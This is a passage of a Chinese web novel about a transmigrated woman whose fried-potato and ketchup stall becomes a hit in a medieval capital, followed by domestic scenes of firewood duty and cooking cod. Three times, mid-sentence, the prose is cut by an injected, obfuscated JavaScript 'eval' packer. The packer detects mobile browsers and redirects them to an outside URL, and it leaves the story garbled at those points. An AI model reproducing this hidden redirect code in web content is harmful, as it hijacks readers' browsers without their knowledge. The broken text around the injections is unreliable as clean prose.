仔细一想,尤兰达闲逛工匠街买小吃时,确实不存在什么服务态度可言,更别提微笑接待、热情招呼了。
一手交钱一手交货,买卖双方全程沉默寡言,有些摊主的态度甚至称得上粗鲁、无礼。
反正,维护客户事情一点不做。
大概是她们母女穿着打扮足够端庄体面,又为保持人设端着架子,这几天外出,尤兰达遇见的摊贩、杂役,大多比较殷勤周到。
她抬眼一扫四周,果不其然,听到她温馨提示的顾客,无论男女老少,无不朝她送来感激的微笑。
一双双蓝色、绿色、棕色的眼睛里,闪烁着一种受宠若惊的、名为感动的光芒。
尤兰达拨弄着油锅里的薯条,一时间不知该摆出什么表情。
这要照搬海底捞那套“宾至如归”的服务方式……小老外们怕不是要当场哭出声吧?
尤兰达试探性地牵起笑容,直视他们的眼睛,语气放得更温和了些:“欢迎光临,夫人想要哪种蘸酱?小心烫手,请慢——”
“我要一份薯条!请多给些蘸酱!”
“我、我要两份!”
“给我三份!先给我!”
“走”的单词尾音没能吐出,唰唰唰,十几个客人争先恐后下单。
尤兰达抽了抽嘴角,抱歉地看一眼旁边被订单淹没,晕头转向的菲奥娜。
怎么说呢……她当然知道服务态度对餐饮行业的影响,但确实没人告诉她,影响能有这么大。
几个原本因价格而迟疑、捏着铜币在摊前踌躇的小学徒,在她甩出一连串的标准服务用语后,像是下定某种决心,一咬牙,将紧攥的铜币递了出来。
人群还在不断聚拢。
有人是被香气吸引,有人是被这前所未见的“油炸”勾起好奇。
而现在,更多人被她与众不同的、带着温度的接待方式留住了脚步。
尤兰达手上动作更快了,油锅滋啦,薯条翻滚,酱勺起落,葡萄叶一片片减少。
……
时隔数日,游侠骑士约瓦尼再次踏入工匠街,隐约发觉街上有哪里不同。
他骑着马徐徐前行,目光扫过叮当作响的作坊与喧嚷的人流。
直到第N个路人捧着某种用碧绿叶子盛装的食物从他身旁匆匆走过,边走边抓着金黄色的条状物往嘴里塞,脸上是如出一辙的、近乎沉醉的神情,约瓦尼终于找到了异样感的来源。
前几日来皇城,可没见过这副光景,甚至没见过这样的食物。
他只是多瞧了几眼,还没弄清它究竟是什么,目光就已被牢牢攫住,不由冒出品尝一番的念头。
鲜绿的叶、金黄的条、浓稠的红酱,三种颜色撞在一起,太漂亮了。
捧着它的人们步履匆匆,却无人舍得放下,指尖沾着酱汁也浑不在意。
约瓦尼不自觉吞了吞唾沫。
他勒住马,俯身拦住一位埋头疾走的老工匠,礼貌询问:“打扰了,请问您手里的食物……是从哪儿买的?”
老工匠闻声抬起头,浑浊的眼睛扫了他一下,随手朝身后某个方向潦草一指,含糊地“唔”了一声,便又捏起一根薯条塞进嘴里,嚼着走远了。
约瓦尼讪讪直起身,心头的好奇却越发挠人。
这到底是什么,让一群整日与铁锤、火星为伴的糙汉们,齐刷刷流露出期待和珍视的样子。
约瓦尼想到此次前来工匠街另有正事,遂按捺住心中躁动。
他心不在焉地驱马前行,祈祷朋友推荐的工匠足够靠谱,早早锻造好他需要的长剑,目光仍不由自主地追随工匠、学徒、洗衣工……捧着的绿叶包。
他想,等取到新的长剑,定要找到那个摊子,亲自尝尝它们是什么滋味。
无关紧要却挥之不去的念头尚在心间盘旋,约瓦尼没想到,穿过小广场,才走到工匠街街口,就从一群看热闹的人堆里找见了以严苛著称的匠人。
他健硕的身躯和浓密蓬乱的大胡子实在醒目,想认不出都难。
“老铁锤,我的剑——”
话音未落,却见锤下火花四溅时连眼皮都不多抬一下的铁匠,低头专注地舔着油光光的指尖,脸上露出近乎虔诚的满足。
约瓦尼见他对自己的呼喊充耳不闻,挑起眉,翻身下马。
他三两步走近,下一瞬,霸道而陌生的焦香便蛮横地撞进了鼻腔。
“好香!”
他挤到摊前时,铁匠正依依不舍地捏着最后半根条状食物,在红艳艳的酱汁里滚了又滚,郑重地塞进嘴里。
喉结滚动,一声模糊的喟叹从胡须丛中漏了出来。
“……这是什么?”
“薯条。”铁匠全然没发现顾客找上门,含糊应道,眼睛还盯着油锅。
约瓦尼顺着他的视线望去,从攒动的人头缝隙间,终于看清了摊上售卖的食物,正是他一路惦记的那抹金黄。
他不禁失笑。
这可真是……巧了。
听到摊主清晰的报价,约瓦尼毫不犹豫数出七枚铜币,递给摊边收钱的少女。
“我要一份薯条。”
少女利落接过钱。几乎是同时,裹着头巾、脊背挺直的摊主朝他颔首微微笑,随即递来一份宽大葡萄叶托着的金黄小山和红色山尖。
“慢点吃,小心烫。”
约瓦尼下意识伸手接过,然后,整个人呆愣了好几秒。
等等,发生了什么?他才刚付完钱不是吗?
薯条就这么……出现在手心里了?
还有那句提醒——小心烫?
他古怪地望向摊主,对方已经转身招呼下一位客人,声音依旧温和,说着相似的、在喧嚣市集中显得格格不入的暖心话语。
这真是……一家特别的小吃摊。
约瓦尼退出拥挤人群,走到一旁安静的屋檐下。他老老实实等了一会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200991|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
儿,等薯条没那么烫时才捡起一根,学着旁边的其他人,蘸上酱汁塞进嘴里。
“奥——”
第一口下去,酥脆的外壳在齿间碎裂,内里温热绵软,混着酸咸微甜的浓郁酱汁……
约瓦尼以骑士荣誉发誓,他走过数十个王国、无数座城池,从未尝到过如此新奇又美味的食物。
薯条?真是再贴切不过的名字。
一份薯条远不足以饱腹,约瓦尼品出其中滋味后,叶子上只剩下稀稀拉拉的酱汁。
他瞧了瞧四周,不少人旁若无人的实践他刚冒出的“不体面”的念头。
他们将葡萄叶送到嘴边,伸出舌头一卷,把那点残留的酱汁舔得干干净净,末了还咂咂嘴。
约瓦尼终究没好意思出失礼的举止,可番茄酱的独特滋味像羽毛一样,始终挠着他心尖。
只买一份真是个错误的决定。
懊悔只在心头停留片刻,他果断抛下空叶,重新挤进人群。
“我要三份薯条,请多给些番茄酱。”
“薯条卖完了,”摊主朝他抱歉地笑了笑,手指转向另一盆金黄的小方块,“试试薯饼吗,先生?价格贵些,10铜币一份。”
人群里响起一阵嗡嗡声。
有人抱怨怎么就卖完了,这也太少了。
有人追问薯饼是什么,和薯条有什么不一样。
更多人聚在一起议论价格。
10铜币,够吃上配面包碗的麦粥了,那可是正餐。几个小方块要花10铜币,再有钱也得掂量着花。
计划买薯条的人迟疑了,不确定要不要多花三个铜币换成薯饼。
约瓦尼嘴巴比脑子快,抢先问:“买薯饼也配番茄酱吗?”
摊主笑吟吟说:“配,还另外准备了蜂蜜柠檬芥末酱,欢迎大家购买。”
约瓦尼一听有酱汁,不做他想,“薯饼也不错,给我三份。”
10铜币而已,不算贵。
他数出三十枚铜币交出去,收钱的少女已然焦头烂额,鼻头冒出热汗。
摊主的脾气和她的声音一样温和,安抚少女,让她慢慢数、分批次数,自己则飞快数出对应份量的薯饼放进油锅。
虽然买不到薯条了,周围也没人离开,都等着约瓦尼的薯饼。
没一会,三份薯饼推在一片叶子上,摊主大方极了,一半浇上番茄酱,一半浇上润泽油亮的什么芥末酱,满满一大勺呢。
“伙计,快尝尝,是什么味?”
“是啊,难道比薯条更好吃吗?”
“请一定告诉我,它值不值10铜币。”
“是啊是啊,我可以花10铜币,但我得知道值不值。”
大家围拢过来,一双双眼睛直勾勾盯着他,催促他快些吃。
约瓦尼不自在的笑了笑,捏起薯饼吹了两口,送到嘴边。
入口的刹那,他眼底倏地掠过一丝惊异。灰色眼眸震颤着瞪大,连咀嚼的动作都顿了一拍。
外壳比薯条酥脆,牙齿磕碰的瞬间,发出清晰利落的碎裂声,难怪叫它“脆脆薯饼”。
酥壳的内里,鼠尾草与欧芹碎的芬芳温柔地渗入其中,比薯条更厚实、更饱满,也更让人停不下来。
番茄酱暂且不提,他喜欢极了,倒是摊主调配的黄绿色酱汁,芥末一点不冲,酸甜的口感盖住了芥末籽的辣,又不会完全夺走芥末的存在感,比番茄酱更惊艳他。
约瓦尼从不认为芥末有多好吃,不过是佐餐时惯常出现的、略带刺激的背景调味而已,平民才吃它。
谁能想到呢,芥末籽也能搭配出这样的滋味。
一块接一块,约瓦尼反应过来时,手中薯饼已经吞下大半,剩下一半孤零零躺着,怎么看怎么不够他塞牙缝。
“怎么样?好吃吗,你快说啊。”
“肯定好吃,他都连着吃了好几块。”
“没说话,肯定是好吃了啊。”
约瓦尼连连点头回应大家,爽快地掏出一枚银币,“请再来十份。”
银币一出,周围喧闹开来,不可思议的惊呼持续飘出。
薯饼真有这么好吃?
16. 第 16 章
古今中外,从来不缺跟风的人。
尤兰达惊喜收获一枚银币后,生意迎来了一波小高峰,冲着薯条等待观望的人群陆陆续续掏出钱币。
“奥——夫人,你早该告诉我们有薯饼的存在,这可比薯条管饱。”
“薯条很美味,不过少了点香草味道真让人遗憾,薯饼完美解决了这个问题。”
“我赞同,我喜欢鼠尾草,薯条可以加鼠尾草吗?”
尤兰达一面手上不停,一面笑着点头,虚心接受大家的“反馈”
本地老外的口味果然更本土化一些,香料少了反而觉得不够味。
“请再给我两份,”人群里有人高高举起手,“我得带回去给我家的调皮鬼尝尝。”
“我要三份,一份哪够塞牙缝。”
“别挤别挤,我先来的……”
尤兰达笑的脸颊疼,短短一会儿工夫,已有二十多人下单,十以外的加法算得菲奥娜头大不已,渐渐招架不住。
约瓦尼见众人蜂拥,不知谁又撅了一下,直接把他整个人顶了出去。
他急得探着脖子喊:“嘿,伙计们,是我先下的单!拜托先做我的那份——”
尤兰达听见透着委屈的高呼,赶紧维持秩序,请那位付了1银币的大客户一旁稍待。
“十份薯饼可不少,放久了口感会差些。”她翻着油锅里的薯饼,耐心叮嘱,“客人若是一时吃不完,带回家放在陶锅上煎一煎,一定要干煎,逼出里面的水份,薯饼便和刚出锅一样酥脆了。”
尤兰达担心客人不知道怎么正确加热,弄巧成拙砸了小吃摊口碑,特意多嘱咐了几句,权当是挂上免责声明。
类似的提醒,她录制素材时总要反复强调,生怕粉丝灵机一动搞什么创新,再回头骂她配方不对。
谁知道,平平无奇的几句,像冷水泼进滚油,炸开锅一般。
“天呐,她竟然教我们该怎么让薯饼更好吃。”
“善良的夫人,上帝一定会保佑你的。”
“我们会照做的,夫人。”
“我们也会保密的,不告诉别人。”
一道道直直投来的柔软目光里,盛着毫不作伪的感激与郑重,好像她教的是长生不老药的配方,就很夸张。
尤兰达张了张嘴,又默默闭上,决定就此打住。
再说下去,她怕这群本地老外要爱上自己,更怕嘴巴一秃噜,行会找上门。
免费传授平民烹饪技巧,会被行会以及同行当做“恶意竞争”“破坏秩序”“砸饭碗”。
万一不小心碰了行会的蛋糕,轻则警告罚款,重则驱逐出城,连辩解的机会都没有。
“知识免费”在当下可不是什么好事。最保险的做法,是把食谱和技巧当做筹码,拿去和修道院、行会、贵族做等价交易。
她摆摆手,玩笑回应:“别这么说,只是架锅生火,算不上什么技巧。”
摊子前的客人来来去去,一份份脆脆薯饼从油锅里捞出、包进叶片、递出。
待最后一份薯饼被小学徒高兴捧走,尤兰达抬头望了望天,竟然比预估的收摊时间提前了将近两个小时。
而此时,仍有不少食客循着空气中未散的油香寻来,探头张望。
尤兰达笑吟吟招呼大家明日赶早。
“嘿,夫人。”又有人唤她。
尤兰达习惯性地重复“收摊了”,一抬头,发现是隔壁摊位卖煮豆子的老头。
他站在两块摊位的交界线,一会挠挠头,一会搓搓胡子拉碴的下巴,腼腆询问。
“我是想问问……”他干咳一声,“明天你还会在这儿摆摊吗?”
“会的,还在工匠街。至于位置……”尤兰达耸耸肩,递去一个“你懂的”眼神。
“当然当然,这儿可没有固定位置,谁先到谁占。”老头大约极少主动与人搭话,挤出的笑容干巴又僵硬,像是临时找人借来的,“我想说……你的薯条和薯饼,真不错。
它们招来了很多人,也给我的摊子添了不少人气,真希望明天还能和你挨着。”
尤兰达听明白了,老头想蹭客流呢。
“今天和你做邻居很愉快,”她客气回应,语气温和却并未给出任何保证,“希望明天我们还能遇上。”
老头点点头,不好意思地指了指她正收拾的油锅:“其实我也想尝尝来着。可你知道,我这头只有一双手,忙起来连口水都顾不上喝……”他顿了顿,“明天,明天应该有机会。”
尤兰达弯了弯眼睛:“欢迎。它们会让你满意的。”
彼此干巴巴地笑了两声,笨拙尴尬的社交总算画上了句号。
尤兰达转过身,被算数攻击一下午的菲奥娜,电量耗尽,两眼放空瘫坐。
她失笑,快速将锅碗瓢盆收整好,趁着时间早,去修道院街找西芙拉,一起回家。
正想着她呢,没一会儿,西芙拉的身影就左闪右避挤过人群奔来,挎在她胳膊上的藤篮沉甸甸。
“妈妈,修道院的队伍也太长了,我从没等过那么久……”西芙拉边走边抱怨,脸上全是排队排出来的怨气。
走近摊子前,西芙拉的声音戛然而止。
她愣愣地望着自家无人问津的摊子,扭头望了望隔壁煮豆子摊前依旧排着的长队,脸色肉眼可见地沉了下去。
“这些人……”西芙拉咬着嘴唇,俏脸忿忿不平,“都没有品味的吗?妈妈的薯条那么好吃。”
她转向尤兰达,刻意压低的嗓音依旧愤慨:“妈妈,你别难过。是他们不懂得欣赏。”
尤兰达一听就知道她误会了,想告诉她“其实我们提前卖完收摊了”——
“夫人!等等!请等一下。”
披着深色斗篷的身影从街角疾步奔来,气喘吁吁停在摊前,一把扶住车沿。
尤兰达记得他,出手阔绰的游侠骑士,一银币先生。
“幸好赶上了……你好,夫人,我要那种红色的番茄酱,还有吗?我愿意付钱。”
尤兰达愣了愣,怎么也没想到,这人是来买酱汁的。
卖番茄酱是她后期的打算,这会卖也不是不行,可她没来得及算成本。
尤兰达神色微顿,露出几分为难。
“先生明天再来吧,我们准备……”
“只要酱汁,不要薯饼!”约瓦尼急切打断她,恳求道:“好心的夫人请帮帮我吧,多少钱都可以,一罐、不,半罐也行!”
他说着,低头又摸出一枚银币,拍在车沿,同时递来银链系着的带锁扣锡壶。
“两银币够吗?装满这一壶就好。
我知道这很冒昧,但、但我真的……太需要它了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200992|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
尤兰达瞧了瞧巴掌长的壶身,满打满算能装300ml,换来的却是两枚银币!
这还有什么好算的,亏不了一点。
尤兰达笑容灿烂:“好的客人,乐意为您效劳,欢迎下次光临。”
她唰一下抢过银币和锡壶,一勺勺酱汁灌进去。
西芙拉半张着嘴巴,有点看不懂眼前的状况。
菲欧娜听不得“付钱”几个字,早捂着耳朵背过身,装死。
约瓦尼接过沉甸甸的锡壶,长长舒出一口气。
总算……没有错过。
他取完长剑就去了附近的旅馆用餐,顺路采购面包,为接下来的行程做准备。
刚出炉的白面包与黑麦面包码在案上,热烘烘的麦香扑鼻而来。
待到真正入口,香气便像不曾出现过,表皮焦苦,内里寡淡,嚼久了腮帮子酸疼。
约瓦尼包起带走的部分,剩下两块切片面包配着稀薄的蔬菜糊糊吃。
吃过无数次的食物,毫无惊喜可言,也不指望它能带来什么变化,但除了过于熟悉产生的腻烦感,心头罕见萦绕着难以言喻的不满足。
缺了点什么。
约瓦尼没来由想起葡萄叶上的红色酱汁,遂打开锡碗。
他掰下一块面包,蘸着酱汁送入口中,嚼吧嚼吧,不抱什么期望的他,眼睛骤然放光。
面包还是那块面包,一如既往的粗糙硌牙,酸酸甜甜、咸鲜交织的番茄酱裹上舌尖,死气沉沉的面包仿佛注入了灵魂,一切都变得新奇。
约瓦尼不信邪,又掰了一块面包,又蘸了一坨酱汁。
这次,他百分百确信,是酱汁的功劳。
约瓦尼望着锡碗里浅浅一层的番茄酱,神色复杂。
如果没有尝过更好的,他可以心安理得地接受面包的无趣,但偏偏他尝到了。
番茄酱的出现为他绝望的味蕾打开了一扇门,迈出去的他再也回不去了。
没有番茄酱,接下来的路途,他该怎么熬?
约瓦尼不想亏待自己的嘴巴,只沉吟片刻,匆匆收拾一番,牵马转身,折回工匠街。
他需要更多的番茄酱,多贵都愿意买。
幸好,他赶上了。
“多谢您,夫人。”约瓦尼将锡壶仔细收进鞍袋,翻身上马,“愿您的好生意长长久久。”
马蹄哒哒远去。
西芙拉目光追随着飘远,许久之后,她回神转头,如梦似幻。
“妈妈……刚才……我们……赚了两枚银币?”
尤兰达:“不,是三枚。”
赚300枚铜币不难,赚三枚银币可就不简单了。
“不对,不止三枚。”
菲奥娜幽幽插话,一脸生无可恋地站出来,怨气比周末加班的社畜都浓。
她提起鼓囊囊的羊皮包,往前一甩,“咚”一声砸在推车上。
西芙拉愣愣凑近,往羊皮包里一瞄——
“这、这都是今天的?”
上帝啊,小吃摊能赚这么多?
“当然没有这么少。”
菲欧娜抱起广口陶罐,“Duang”一下放在羊皮包旁边,震得罐子里的铜币哗啦啦响。
没见过世面的西芙拉发出“哇”的一声,见过世面的尤兰达也不淡定了。
17.第 17 章
习惯无现金支付后,尤兰达想不起来上次摸到大量钱币是哪年的事了。
猛地这么一瞧,确实很有视觉冲击力。
黑森王国的货币并不精巧,一枚铜币直径约40mm,厚度约3mm,像个厚圆牌。
别看大家叫它铜币,实际材质是银铜合金,比起纯铜钱币略重些。
这一罐子外加一包的铜币,抱在手里沉甸甸的没错,实际数额却没那么多。
尤兰达瞬间恢复淡定。
亲手递出去多少份薯条、薯饼,心里大致有数,可赚不到金山银山。
不过即便如此,这一堆铜币也称得上巨额现金了。
“明天该轮到西芙拉收钱了。”菲奥娜面无表情地捶着胳膊,语气充满了被榨干后的平静。
天知道她这一下午都经历了什么。
收钱的时候,菲奥娜每一根神经都绷得死紧,完全体会不到妈妈所说的“赚钱的快乐”。
总有几个算数不好的家伙少给铜币,一会儿少一枚,一会儿少两枚,稍不注意就糊弄过去。
菲奥娜自己的算数也没好到哪去,一份一份算勉强能应付,一次性买三份五份的,脑仁疼半天。
收钱的活简直不是人干的,她得撂挑子。
尤兰达想到老外们的数学水平,沉默了,确实强人所难。
“妈妈知道错了,明天摆摊的时候,我会把价格和份数报清楚,你们照着数钱就好。”
菲奥娜格外好哄,听到妈妈认错,怨气已经散了大半。
她别别扭扭说:“噢~我可没有怪你的意思。快点快点,我们回家吧,我太想知道今天到底赚了多少!”
生意不好的摊主尚且能抽出空来数数钱,算算今天亏了赚了、还差多少能回本,菲奥娜完全没那个时间。
菲奥娜固定好钱罐子,西芙拉把藤篮堆上车板,两人帮着扶住车沿,一起收摊回家。
路过小广场,尤兰达支付了星期六的摊位费,明天多做点,赶早出摊还能赚更多。
第九时祷(15:00)后,正是一天中最热闹的时间段。
下工的工匠、兜售的小贩、采买晚餐食材的主妇……潮水般涌上街头。
为了应对周五的斋戒日,人人手里都提着滴水的鲜鱼、满满一桶的猪血、风干的咸鱼,或是酸溜溜的腌菜。
混杂着鱼腥、汗酸和说不清的体味的空气,像一床厚重的湿被子,劈头盖脸地裹上来。
两个女孩不见异色,尤兰达快熬不住了。
摆摊时,排队的食客们身上就有各种体味,随着他们伸手递钱、抬胳膊接东西,忽浓忽淡的往她鼻子里钻。
好在面前有口油锅,油脂的焦香多少能挡一挡,勉强压住翻涌的胃。
此刻被人群裹挟着往前走,无处可逃。
她憋着一口气,闷头加快了脚步。
拐进贝壳街,人流量锐减,空气也清新了些许。
尤兰达呼呼喘气,缓过劲发现,贝壳街处处洋溢着过年一样的欢快气氛。
沿着街道望去,家家户户门口站着人,笑容满面的和相熟邻里唠嗑。
再定睛一看,他们手里除了各自采买的食材不同,人手一捆木柴和一条咸鱼,从绳结的样式和捆绑手法来看,无疑是从同一处购入。
修道院还有卖木柴的?
尤兰达没往心里去,推着车继续往前走。
快到巷子口,她忽然想起两件事:家里的葡萄藤经不住薅了,得多买点叶子为明天出摊准备。木柴好像也不够烧了。
她叫住两个女儿,数出一把铜币塞进她们手里。
“小菲,你去卖叶子的摊子问问,买些葡萄叶或车前草回来。小西,你去柴火铺,买两捆松木两捆秸秆,让杂役送上门。”
两孩子接过铜币,手拉手笑哈哈跑出去,没跑多远赶紧停下,回过头不放心的说:“妈妈,你一定要等我们回来再数钱,好不好?”
尤兰达哭笑不得,连声答应,女孩们跑远,她重新推起车子往矮人巷走。
没到巷子口呢,她便远远听见妇人们大嗓门的叽叽喳喳,称颂什么巴顿老爷大方。
等她走近,说话声戛然而止,和谐欢乐气氛陡然消失。
夫人们互相交换眼色,一哄而散。
有的低头整理篮子里本就不乱的布料,有的侧过身假装和旁边人说话,还有几个干脆扭头走人。
好吧,她好像被排挤了。
尤兰达脚步未停,神色如常地推车往里走。
身后,窸窸窣窣的议论声飘过来,像是故意让她听见似的:
“看见没?真的去摆摊了。”
“这么早就收摊,肯定生意不好呗。”
“她太懒惰了,才刚过第九时祷呢。”
“没见过这样做生意的,要我看,这间铺子迟早赔出去。”
“哈,活该。”
尤兰达听着,心里毫无波澜,甚至有点想笑。
新邻居们挺有正义感,还在替原身的前夫、继女抱不平呢。
“费尔南多夫人,请等等。”
正想着,不远处传来一声温和的招呼。
尤兰达循声望去,人群里走出一个身形魁梧的大叔,约莫四十岁上下。
他穿着一身体面的灰褐色亚麻衣袍,腰间挂着一只锡壶和一把木勺。
待他走近,看到他额角显眼的痦子,尤兰达想起这人是谁了——矮人巷的户长,沃格特先生。
户长,就是一条巷子的头头,处理邻里纠纷或颁布、解读政令。往上有街长,负责带领各巷的户长一起管理整条街,是街道的老大。
他们的存在类似于村长、里正、居委会。
原身持有矮人巷的房产,出租也好,变卖也罢,都绕不开户长,以前没少打交道。
如果尤兰达不是酒馆的所有者,在她搬进矮人巷的第一天,就该主动去找户长登记,办理一个相当于“临时居住证”的证明,方便户长街长管理、收税等。
“沃格特先生。”尤兰达停下脚步,微微颔首致意。
“听说你要搬来矮人巷,自己经营店铺了?”沃格特微笑着与她交谈,像是从没听过邻里的闲言碎语。
“是的,沃格特先生,您的消息一如既往的灵通。我需要补什么东西吗?”
沃格特压了压手,示意她别紧张,“放轻松孩子,没什么要补的。我只是来通知大家,星期天轮到矮人巷的居民去山上捡柴了,北1店至少派一个人参与。”
尤兰达一听是这事,果然放轻松了,她真担心冒出来什么莫名其妙的税收。
皇城居民除了花钱买木柴,平时只有出人头,参与社区组织的上山拾柴火活动,可以节省一些开支。
就像春耕时两个村子为抢水源大打出手,在这里,两个街区为抢木柴打群架的情况并不稀奇。
这可不是开玩笑,柴的重要性有时候比食物还高。
尤其进入冬季,人口密集的皇城难逃用柴紧张的状况,别说枯枝落叶了,当地人看见路边小草都想着薅回家晒干烧火。
甚至于有人专门蹲在街上,捡过路牛马拉的粪便,晒干了当柴火使。
温饱温饱,有柴才有温,先温才能顾上饱,柴米油盐,老祖宗把柴排在第一位,可见一斑。
基于柴的重要程度和大家的需求,捡柴火时难免发生争抢和冲突,市议厅按照就近原则划分区域,搞起轮流制。
贝壳街大小一共二十八条巷子,平均下来,大概一个半月一次上山机会,大家格外珍惜和重视。
这周末,恰好轮到矮人巷。
捡柴的山林不远,巷子走到底就是,步行最多40分钟。
难怪海伦夫人舍得让小红帽跑腿,给住在山里的外婆送食物,原来是真不远啊。
“当然,我们会去的,冬季漫长严寒,提前准备不会错。”
“星期天第三时祷,去巷子尾集合,大家一起上山。”尤兰达应的爽快,沃格特却不放心,多嘱咐几句:“家里有板车的可以推上,有马车、牛车就更好了,从海螺巷绕过去,能省不少麻烦。”
山林外围早让人薅光,又有护林员看管,不准许随意砍伐活木,大家只能往森林深处钻。距离拉远了,如何运输木柴就成了大难题。
尤兰达认真记下。
“哦~瞧我的脑子,除了这件事……”沃格特交待事项,余光瞥见巷子深处推车走来的一伙人,一拍脑门:“巴顿老爷的小孙子被骑士学院选中,以后会成为一名真正的骑士。
你知道的,这是天大的荣耀,巴顿老爷要大宴宾客。不过今天是斋戒日,所以……”
尤兰达正在品味他的“所以”,沃格特越过她朝身后挥了挥手。
“嘿,伙计们,北1店的费尔南多夫人回来了,希望你们没忘了她。”
呼喊声落下,远处的热络回应随之响起,“哦,真是太巧了,我们正准备离开。”
说着,推车的伙计停下,旁边跟随的青年从车上提下一捆木柴,又提溜起一条咸鱼。
他们往这边张望了一眼,见尤兰达也推着满满的小车,调转脚步走向北1店的院门。
“费尔南多夫人,”青年回头问了一声,“东西放门边可以吗?”
尤兰达停顿了两秒,终于领会了户长的未尽之意。
木柴和咸鱼,来自贝壳街的巴顿老爷,是巴顿家为斋戒日破戒准备的“赎罪”。
巴顿老爷,贝壳街的大富豪,同时担任贝壳街的街长,是一位德高望重的老绅士。
按照当地习俗,斋戒日不许食荤、不许宴饮,如果不得不破规矩,主家需赎罪。
赎罪方式很简单,要么向教会捐赠一大笔金钱,要么向平民分发物资、钱财,自由选择。
做生意的人最在乎现金流,发钱是不可能发的,于是便有了今天这一出,一捆捆木柴、一条条咸鱼,送往贝壳街的每一户人家。
赎罪物资分发下去,等同于昭告贝壳街:巴顿家,出了个可以改变家族命运的骑士。
阶级分明的时代,骑士学院的门槛高得吓人,非贵族子弟不可入读。
一旦成为预备骑士,日后跟随领主、皇室成员征战,有大概率获封土地、爵位,再不济也能免除赋税。
对一心想要抬高家族地位的巴顿老爷而言,无异于久旱逢甘霖。
至于他用了什么手段、走了什么门路才把小孙子送进去,大家心照不宣的忽视了。
“奥——”尤兰达拖长音调,笑容发自肺腑:“仁慈的巴顿老爷,上帝会宽恕他的。也恭喜小巴顿先生,能去骑士学院读书真是前途无量,他会成为贝壳街的骄傲。”
这样的“赎罪”多来点吧,谁不喜欢免费东西呢。
你来我往笑言一番,目送沃格特和巴顿家的伙计们一同离开,尤兰达锁上院门,归置东西。
她答应要等女孩们一起数钱,便先料理那两条鳕鱼。
原身十指不沾阳春水,力气活更是没做过,前几天忙着搬家、打扫卫生,没歇够又忙着做生意,可把这具身体累坏了。
正好赶上斋戒日,大家吃的简单,尤兰达不想弄太复杂的折腾自己,早早决定晚饭吃香煎鳕鱼。
一条足够母女三人吃一顿饱饭,另一条她藏进空间存放。
趁两人没回来,她大胆使用“私货”,抽出厨房纸擦去鱼块表面水份。
这一步很重要,直接决定成败。水分多了鱼肉不紧实,松散易碎,煎出来的颜色也不好看,达不到外酥里嫩的效果。
去除多余水份后,鱼块撒上薄盐、橄榄油,捻两搓迷迭香,做几次马杀鸡,让香料深入肌理。
腌制的间隙,尤兰达搬来泥炉,从棚顶捡两块蜂窝煤。
天气晴好,微风干燥,煤球干得比预想的快,点燃后烟说大不大,说小不小,火势相当稳定,比木柴好掌控。
挺好,第一次手搓蜂窝煤就成功了。
锅热,放入黄油,待融化冒出细密小泡,放入葱姜蒜和几根迷迭香百里香,炸出香气再下鳕鱼块。
正是定型的关键时刻,可别急着翻动,耐心等待鱼皮蜷曲,边缘泛起金黄,再缓缓推动木铲,翻面。
鱼块切得厚实,两面全部煎熟花去十分钟。装盘后,撒点欧芹碎点缀,甩几道酱汁上去,有几分米其林的味。
第二、三块鳕鱼下锅,西芙拉和菲欧娜前后脚赶回来,身后跟着送木柴的杂役,小院一下子闹腾开。
西芙拉监督杂役堆放木柴,时不时指点一两句“往那边靠”“别挨着墙”。
菲奥娜直奔厨房,献宝似的举起一叠叠葡萄叶,眼睛一个劲地往锅里瞄。
“妈妈,今天又吃鳕鱼吗?”
“小菲真棒,买的葡萄叶又大又绿。”表扬完孩子,她嗯了一声,“今晚吃香煎鳕鱼。”
菲欧娜习惯了老母亲时不时冒出来一些奇奇怪怪的说法,什么香煎、炒、烙,但依旧感到新奇。
以前斋戒日吃的鳕鱼,要么烤、要么煮,没有调味,没有油脂,干巴巴的,腥气特别重。
可眼前的鳕鱼完全不一样。
完整的造型,金黄的色泽,盘边摆了迷迭香,番茄酱画出好看的条形,漂亮得让人挪不开眼。
西芙拉安顿好木柴,刚踏进门怔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204868|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一瞬。她下意识想开口说“鳕鱼腥气重,得多配点香草”,话到嘴边,又生生咽了回去。
她有信心,妈妈不会做出难吃的鳕鱼。
尤兰达一视同仁,夸完菲奥娜不忘记夸西芙拉,“小西真是帮了妈妈大忙,有你们在真好。”
两个女孩被哄开心了,脸红红,眼睛亮晶晶,嘴角抑制不住上扬。
“如果能帮妈妈给大G添一桶燕麦就更好了。”尤兰达许愿。
两人的心眼子加起来不及尤兰达一个人的多,闻言争抢着道:
“我我我,我知道燕麦在哪。”
“我也知道!我还知道大G要吃两瓢才能饱。”
真好啊,喂马的活也成功落到了她们手里。
